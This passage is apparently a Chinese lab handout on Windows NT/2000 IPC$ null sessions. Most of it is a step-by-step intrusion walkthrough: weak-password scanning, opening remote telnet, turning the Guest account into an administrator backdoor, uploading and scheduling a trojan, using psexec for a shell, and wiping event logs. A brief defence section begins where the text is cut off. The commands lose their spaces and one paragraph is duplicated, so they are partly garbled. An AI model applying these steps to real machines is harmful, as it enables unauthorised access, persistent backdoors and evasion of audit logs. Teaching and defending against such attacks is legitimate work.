试验1常用网络命令,IPC$漏洞攻击通过这次试验,要掌握IPC$(InternetProcessConnection)是共享命名管道的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT/2000在提供了ipc$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(c$,d$,e$……)和系统目录winnt或windows(admin$)共享。所有的这些,微软的初衷都是为了方便管理员的管理,但在有意无意中,导致了系统安全性的降低。相关内容说明:所讨论的各种情况均默认发生在winNT/2000环境下,win98将不在此次讨论之列,而鉴于winXp在安全设置上有所提高,个别操作并不适用。IPC$(InternetProcessConnection)是共享命名管道的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT/2000在提供了ipc$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(c$,d$,e$……)和系统目录winnt或windows(admin$)共享。所有的这些,微软的初衷都是为了方便管理员的管理,但在有意无意中,导致了系统安全性的降低。平时我们总所说ipc$漏洞,ipc$漏洞,其实ipc$并不是一个真正意义上的漏洞,是指微软自己安置的那个‘后门’:空会话(Nullsession)。那么什么是空会话呢?空会话是在没有信任的情况下与服务器建立的会话(即未提供用户名与密码),但根据WIN2000的访问控制模型,空会话的建立同样需要提供一个令牌,可是空会话在建立过程中并没有经过用户信息的认证,所以这个令牌中不包含用户信息,因此,这个会话不能让系统间发送加密信息,但这并不表示空会话的令牌中不包含安全标识符SID(它标识了用户和所属组),对于一个空会话,LSA提供的令牌的SID是S-1-5-7,这就是空会话的SID,用户名是:ANONYMOUSLOGON(这个用户名是可以在用户列表中看到的,但是是不能在SAM数据库中找到,属于系统内置的帐号),这个访问令牌包含下面伪装的组:EveryoneNetwork在安全策略的限制下,这个空会话将被授权访问到上面两个组有权访问到的一切信息。那么建立空会话到底可以作什么呢?对于NT,在默认安全设置下,借助空连接可以列举目标主机上的用户和共享,访问everyone权限的共享,访问小部分注册表等,并没有什么太大的利用价值;对2000作用更小,因为在Windows2000和以后版本中默认只有管理员和备份操作员有权从网络访问到注册表,而且实现起来也不方便,需借助工具。从这些我们可以看到,这种非信任会话并没有多大的用处,但从一次完整的ipc$入侵来看,空会话是一个不可缺少的跳板,因为我们从它那里可以得到户列表。以下是空会话中能够使用的具体命令:1首先,我们先建立一个空会话(需要目标开放ipc$)命令:netuse\\ip\ipc$/user:注意:上面的命令包括四个空格,net与use中间有一个空格,use后面一个,密码左右各一个空格。2查看远程主机的共享资源命令:netview\\IP解释:建立了空连接后,用此命令可以查看远程主机的共享资源,如果它开了共享,可以得到如下类似类似结果:在\\*.*.*.*的共享资源资源共享名类型用途注释-----------------------------------------------------------NETLOGONDiskLogonservershareSYSVOLDiskLogonservershare命令成功完成。3查看远程主机的当前时间命令:nettime\\IP解释:用此命令可以得到一个远程主机的当前时间。4得到远程主机的NetBIOS用户名列表(需要打开自己的NBT)nbtstat-AIP用此命令可以得到一个远程主机的NetBIOS用户名列表(需要你的netbios支持),返回如下结果:NodeIpAddress:[*.*.*.*]ScopeId:[]NetBIOSRemoteMachineNameTableNameTypeStatus---------------------------------------------SERVER00UNIQUERegisteredOYAMANISHI-H00GROUPRegisteredOYAMANISHI-H1CGROUPRegisteredSERVER20UNIQUERegisteredOYAMANISHI-H1BUNIQUERegisteredOYAMANISHI-H1EGROUPRegisteredSERVER03UNIQUERegisteredOYAMANISHI-H1DUNIQUERegistered..__MSBROWSE__.01GROUPRegisteredINet~Services1CGROUPRegisteredIS~SERVER......00UNIQUERegisteredMACAddress=00-50-8B-9A-2D-37以上就是我们经常使用空会话做的事情,要注意一点:建立IPC$连接的操作会在EventLog中留下记录,不管你是否登录成功。下面我们来看看ipc$所使用的端口是什么?对于win2000客户端来说:1、如果在允许NBT的情况下连接服务器时,客户端会同时尝试访问139和445端口,如果445端口有响应,那么就发送RST包给139端口断开连接,用455端口进行会话,当445端口无响应时,才使用139端口,如果两个端口都没有响应,则会话失败;2、如果在禁止NBT的情况下连接服务器时,那么客户端只会尝试访问445端口,如果445端口无响应,那么会话失败。由此可见,禁止了NBT后的win2000对winNT的共享访问将会失败。对于win2000服务器端来说:1、如果允许NBT,那么UDP端口137,138,TCP端口139,445将开放;2、如果禁止NBT,那么只有445端口开放。我们建立的ipc$会话对端口的选择同样遵守以上原则。显而易见,如果远程服务器没有监听139或445端口,ipc$会话是无法建立的。ipc$完整入侵步骤祥解入侵步骤随个人爱好有所不同,1用扫描软件搜寻存在若口令的主机,比如流光,SSS,X-scan等,随你的便,然后锁定目标,如果扫到了管理员权限的口令,进行下面的步骤,假设你现在得到了administrator的密码为空2此时您有两条路可以选择:要么给对方开telnet(命令行),要么给它传木马(图形界面),先用telnet3开telnet要用到opentelnet这个小程序c:\OpenTelnet.exe\\192.168.21.*administrator190如果返回如下信息*******************************************************RemoteTelnetConfigure,byrefdomEmail:refdom@263.netOpenTelnet.exeUsagepenTelnet.exe\\serverusernamepasswordNTLMAuthortelnetport*******************************************************Connecting\\192.168.21.*...Successfully!NOTICE!!!!!!TheTelnetServicedefaultsetting:NTLMAuthor=2TelnetPort=23Startingtelnetservice...telnetserviceisstartedsuccessfully!telnetserviceisrunning!BINGLE!!!Yeah!!TelnetPortis90.Youcantry:telnetip90,toconnecttheserver!Disconnectingserver...Successfully!*说明已经打开了一个端口90的telnet。4现在telnet上去telnet192.168.21.*90如果成功,将获得远程主机的一个shell,此时可以把guest激活再加入管理组,留个后门。5C:\netuserguest/active:yes*将Guest用户激活,也有可能人家的guest本来就试活的,可以用netuserguest看一下它的帐户启用的值是yes还是no6C:\netuserguest1234*将Guest的密码改为1234,或者改成你喜欢的密码7C:\netlocalgroupadministratorsguest/add*将Guest变为Administrator,这样,即使以后管理员更改了他的密码,也可以用guest登录了,不过因为通过安全策略的设置,可以禁止guest等帐户的远程访问,如果真是这样,那后门也就白做了。8给它传木马9首先,先建立起ipc$连接C:\netuse\\192.168.21.*\ipc$/user:administrator10既然要上传东西,就要先知道它开了什么共享C:\netview\\192.168.21.*在\\192.168.21.*的共享资源资源共享名类型用途注释-----------------------------------------------------------CDiskDDisk命令成功完成。*看到对方共享了C,D两个盘,下面就可以向任意一个盘复制文件了。因为用netview命令无法看到默认共享,因此通过上面返回的结果,并不能判断对方是否开启了默认共享。11C:\copylove.exe\\192.168.21.*\c已复制1个文件用这个命令你可以将木马客户端love.exe传到对方的c盘下,当然,如果能复制到系统文件夹下是最好的了,不容易被发现12运行木马前,先看看它现在的时间nettime\\192.168.21.*\\192.168.21.*的当前时间是2003/8/22上午11:00命令成功完成13现在用at运行它,不过对方一定要开了TaskScheduler服务(允许程序在指定时间运行),否则就不行C:\at\\192.168.21.*11:02c:\love.exe新加了一项作业,其作业ID=114剩下就是等了,等过了11:02,你就可以用控制端去连接了,如果成功你将可以用图形界面去控制远程主机了,如果连接失败,那么它可能在局域网里,也可能程序被防火墙杀了,还可能它下线了,无论哪种情况你只好放弃了两种基本方法都讲了。如果你对上面的操作已经轻车熟路了,也可以用更高效的套路,比如用CA克隆guest,用psexec执行木马,用命令:psexec\\tergetIP-uuser-ppaswdcmd.exe直接获得shell等,这些都是可以。不过最后不要忘了把日志清理干净,可以用榕哥的elsave.exe。如何防范ipc$入侵1禁止空连接进行枚举(此操作并不能阻止空连接的建立)方法1:运行regedit,找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous=DWORD的键值改为:1如果设置为1,一个匿名用户仍然可以连接到IPC$共享,但限制通过这种连接得到列举SAM帐号和共享等信息;在Windows2000